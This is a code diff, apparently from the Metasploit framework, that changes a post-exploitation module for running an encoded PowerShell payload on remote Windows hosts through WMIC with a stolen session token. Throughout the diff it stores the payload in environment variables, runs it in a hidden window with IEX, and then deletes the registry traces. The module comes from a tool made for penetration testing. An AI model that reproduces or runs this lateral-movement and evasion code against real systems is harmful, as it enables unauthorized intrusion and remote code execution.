@@ -27,9 +27,8 @@ def initialize(info={})
27
27
the session's current authentication token instead of having to know
28
28
a password or hash.
29
29
30
- We do not get feedback from the WMIC command so there are no
31
- indicators of success or failure. The remote host must be configured
32
- to allow remote Windows Management Instrumentation.
30
+ The remote host must be configured to allow remote Windows Management
31
+ Instrumentation.
33
32
} ,
34
33
'License' => MSF_LICENSE ,
35
34
'Author' => [
@@ -76,42 +75,51 @@ def exploit
76
75
end
77
76
78
77
def run_host ( server )
79
- # Get the PSH Payload and split it into bitesize chunks
80
- # 1024 appears to be the max value allowed in env vars
78
+ if load_extapi
79
+ psh_options = { :remove_comspec => true ,
80
+ :encode_final_payload => true }
81
+ else
82
+ psh_options = { :remove_comspec => true ,
83
+ :encode_inner_payload => true ,
84
+ :use_single_quotes => true }
85
+ end
86
+
81
87
psh = cmd_psh_payload ( payload . encoded ,
82
88
payload_instance . arch . first ,
83
- {
84
- :remove_comspec => true ,
85
- :encode_inner_payload => true ,
86
- :use_single_quotes => true
87
- } )
88
- chunks = split_code ( psh , 1000 )
89
+ psh_options )
89
90
90
91
begin
91
- print_status ( "[#{ server } ] Storing payload in environment variables" )
92
- env_name = rand_text_alpha ( rand ( 3 ) +3 )
93
- env_vars = [ ]
94
- 0 . upto ( chunks . length -1 ) do |i |
95
- env_vars << "#{ env_name } #{ i } "
96
- c = "cmd /c SETX #{ env_vars [ i ] } \" #{ chunks [ i ] } \" /m"
97
- result = wmic_command ( c , server )
98
-
99
- unless result
100
- print_error ( "[#{ server } ] WMIC command error - skipping host" )
101
- return false
92
+ if load_extapi
93
+ exec_cmd = psh
94
+ else
95
+ # Get the PSH Payload and split it into bitesize chunks
96
+ # 1024 appears to be the max value allowed in env vars
97
+ print_status ( "[#{ server } ] Storing payload in environment variables" )
98
+ chunks = split_code ( psh , 1000 )
99
+ env_name = rand_text_alpha ( rand ( 3 ) +3 )
100
+ env_vars = [ ]
101
+ 0 . upto ( chunks . length -1 ) do |i |
102
+ env_vars << "#{ env_name } #{ i } "
103
+ c = "cmd /c SETX #{ env_vars [ i ] } \" #{ chunks [ i ] } \" /m"
104
+ result = wmic_command ( c , server )
105
+
106
+ unless result
107
+ print_error ( "[#{ server } ] WMIC command error - skipping host" )
108
+ return false
109
+ end
102
110
end
103
- end
104
111
105
- x = rand_text_alpha ( rand ( 3 ) +3 )
106
- exec_cmd = generate_psh_command_line ( {
107
- :noprofile => true ,
108
- :windowstyle => 'hidden' ,
109
- :command => "$#{ x } =''"
110
- } )
111
- env_vars . each do |env |
112
- exec_cmd << "+$env:#{ env } "
112
+ x = rand_text_alpha ( rand ( 3 ) +3 )
113
+ exec_cmd = generate_psh_command_line ( {
114
+ :noprofile => true ,
115
+ :windowstyle => 'hidden' ,
116
+ :command => "$#{ x } =''"
117
+ } )
118
+ env_vars . each do |env |
119
+ exec_cmd << "+$env:#{ env } "
120
+ end
121
+ exec_cmd << ";IEX $#{ x } ;"
113
122
end
114
- exec_cmd << ";IEX $#{ x } ;"
115
123
116
124
print_status ( "[#{ server } ] Executing payload" )
117
125
result = wmic_command ( exec_cmd , server )
@@ -126,10 +134,12 @@ def run_host(server)
126
134
print_error ( "[#{ server } ] failed...)" )
127
135
end
128
136
129
- print_status ( "[#{ server } ] Cleaning up environment variables" )
130
- env_vars . each do |env |
131
- cleanup_cmd = "cmd /c REG delete \" HKLM\\ \S YSTEM\\ CurrentControlSet\\ Control\\ Session Manager\\ Environment\" /V #{ env } /f"
132
- wmic_command ( cleanup_cmd , server )
137
+ unless load_extapi
138
+ print_status ( "[#{ server } ] Cleaning up environment variables" )
139
+ env_vars . each do |env |
140
+ cleanup_cmd = "cmd /c REG delete \" HKLM\\ \S YSTEM\\ CurrentControlSet\\ Control\\ Session Manager\\ Environment\" /V #{ env } /f"
141
+ wmic_command ( cleanup_cmd , server )
142
+ end
133
143
end
134
144
rescue Rex ::Post ::Meterpreter ::RequestError => e
135
145
print_error ( "[#{ server } ] Error moving on... #{ e } " )
0 commit comments